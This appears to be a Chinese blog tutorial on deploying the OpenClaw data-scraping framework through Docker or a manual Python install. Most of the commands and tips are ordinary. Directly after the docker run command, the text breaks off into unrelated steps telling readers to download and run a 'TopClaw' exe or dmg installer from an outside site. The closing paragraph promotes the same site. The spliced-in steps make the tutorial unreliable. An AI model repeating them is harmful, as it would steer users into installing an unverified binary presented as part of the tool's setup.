写在前面：为什么我选了OpenClaw

年初的时候接了个小项目，需要定期从几个垂直网站抓取公开数据做分析。研究了一圈，发现OpenClaw这个轻量级采集框架挺对我胃口——它不依赖庞大的Java生态，Python写的，配置灵活，而且社区还在活跃更新。不过上手第一件事就是部署，当时折腾了一下午才跑通。今天把两种主流部署方式（Docker一键跑 vs 手动搭环境）都整理出来，希望能帮你少走弯路。不管你是跟我一样在笔记本上折腾，还是准备上服务器，这篇应该都能用上。

方案一：Docker部署——真·一行命令搞定

如果你不想被Python版本、pip依赖、系统库这些乱七八糟的东西劝退，Docker绝对是最省心的选择。OpenClaw官方维护的镜像更新还算及时，2026年初已经支持ARM架构了，树莓派用户也能直接玩。

假设你已经装了Docker，直接敲下面这行：

docker run -d --name openclaw -p 6800:6800 -v /your/data:/app/data openclaw/controller:latest

第一步：打开龙虾安装地址：https://top.wokk.cn

第二步：选择Windows10/11或macOS apple、intel芯片下载。

第三步：双击安装包（exe或者dmg文件）等待3分钟。

第四步：打开桌面TopClaw龙虾软件注册登录即可使用

我来拆解一下参数：

-d：后台运行，别占着终端不撒手
--name：给容器起个名字，后面好管理
-p 6800:6800：把容器的6800端口映射到宿主机，这是OpenClaw控制台的默认端口
-v /your/data:/app/data：挂载数据目录，采集到的文件会落在这个目录里，容器销毁也不丢数据

跑起来之后，浏览器打开 http://localhost:6800 就能看到Web管理界面。我第一次看到那个简洁的仪表盘时，内心OS：“就这？我花一下午手动配环境图啥？”

不过有个坑：如果你用的是Windows Docker Desktop，挂载目录路径要用反斜杠或者双斜杠，而且千万注意不要跟宿主机的防火墙冲突。我当初就是没关Windows Defender，结果端口一直显示未监听，排查了半小时才发现是被拦截了。

优点： 开箱即用，环境隔离，更新版本只需重新拉镜像
缺点： 定制化受限，比如想装额外的Python库就要自己写Dockerfile

如果你想深度定制，比如集成自己的数据处理脚本，可以基于官方镜像打个新镜像：

FROM openclaw/controller:latest
RUN pip install openpyxl requests-toolbelt
COPY ./my_scripts /app/scripts

然后 docker build -t my-openclaw .，照样起飞。

方案二：手动部署——适合想摸透每一行的你

手动部署听起来折腾，但说实话，我对一个工具的理解往往是在手动搭环境时建立起来的。而且有些内网服务器不允许用Docker，或者你需要在特定虚拟环境里跑，还是得靠手动。

我的环境：Ubuntu 22.04 LTS + Python 3.10。OpenClaw目前要求Python >=3.8，推荐3.10或3.11。

步骤是这样的：

第一步：创建虚拟环境
强烈建议用虚拟环境，别污染系统Python。我习惯用 python3 -m venv openclaw_env，然后 source openclaw_env/bin/activate。
第二步：安装OpenClaw核心
直接从GitHub clone仓库（或者用pip，但2026年官方推荐用源码安装）：
git clone https://github.com/OpenClaw/controller.git
cd controller && pip install -r requirements.txt
第三步：初始化配置
复制默认配置文件：cp config.example.yaml config.yaml。这里要注意数据库类型，默认SQLite适合单机玩玩，如果并发高建议改成MySQL或PostgreSQL。我第一次就忘改数据库，结果采集几百条数据后SQLite直接锁死。
第四步：启动服务
python app.py --port 6800。如果报错缺库，就根据提示 pip install xxx。比较常见的坑是缺少 libssl-dev 或 libcurl4-openssl-dev，Ubuntu上 sudo apt install 一下就行。

手动部署最磨人的是依赖冲突。我遇到过 lxml 编译失败，后来换了系统包管理器的版本才解决。如果你也是编译小白，直接 pip install lxml --prefer-binary 试试。

我当时写完第一个爬虫脚本，手动启动后看到终端里逐行吐出数据，那种掌控感是Docker一键跑给不了的。但如果你只是要用工具解决问题，不是做开发，那还是建议Docker。

小提示：手动部署升级版本时，记得先备份config.yaml和数据库文件，不然覆盖掉配置又要重新调参。

部署后的几点小心得

不管你用哪种方式，部署完先跑一个官方demo测试连通性。很多新手（包括我）一上来就写复杂脚本，结果连调度器都没通，排查半天发现是端口写错了。

还有日志管理：Docker方式可以用 docker logs -f openclaw 实时看日志；手动方式建议把输出重定向到文件：python app.py > log.txt 2>&1 &，不然终端一关就没了。

另外，如果你的任务需要定时抓取，OpenClaw自带的定时器已经够用，但要注意时区设置。我第一次设置凌晨3点跑，结果默认是UTC时间，活生生晚了8小时。

Docker版：docker exec进去改时区，或者设置环境变量 -e TZ=Asia/Shanghai
手动版：在config.yaml里加 timezone: Asia/Shanghai

其实写这篇教程的时候，我也忍不住回想自己当初踩的那些坑。技术文档往往只告诉你“怎么做”，但很少告诉你“可能会遇到什么”。希望上面这些个人经验能帮你省下一点调试时间。如果你不想亲自搭环境，或者需要更稳定的部署体验，也可以试试TopClaw（https://top.wokk.cn/），它是一个开箱即用的采集服务平台，底层集成了OpenClaw的能力，你只需要注册账号、创建任务，剩下的调度、监控、防封都由平台处理。我最近在迁移几个长期任务到上面，确实省了不少运维精力。总之，工具是死的，人的思路是活的，找到最适合你场景的方式就好。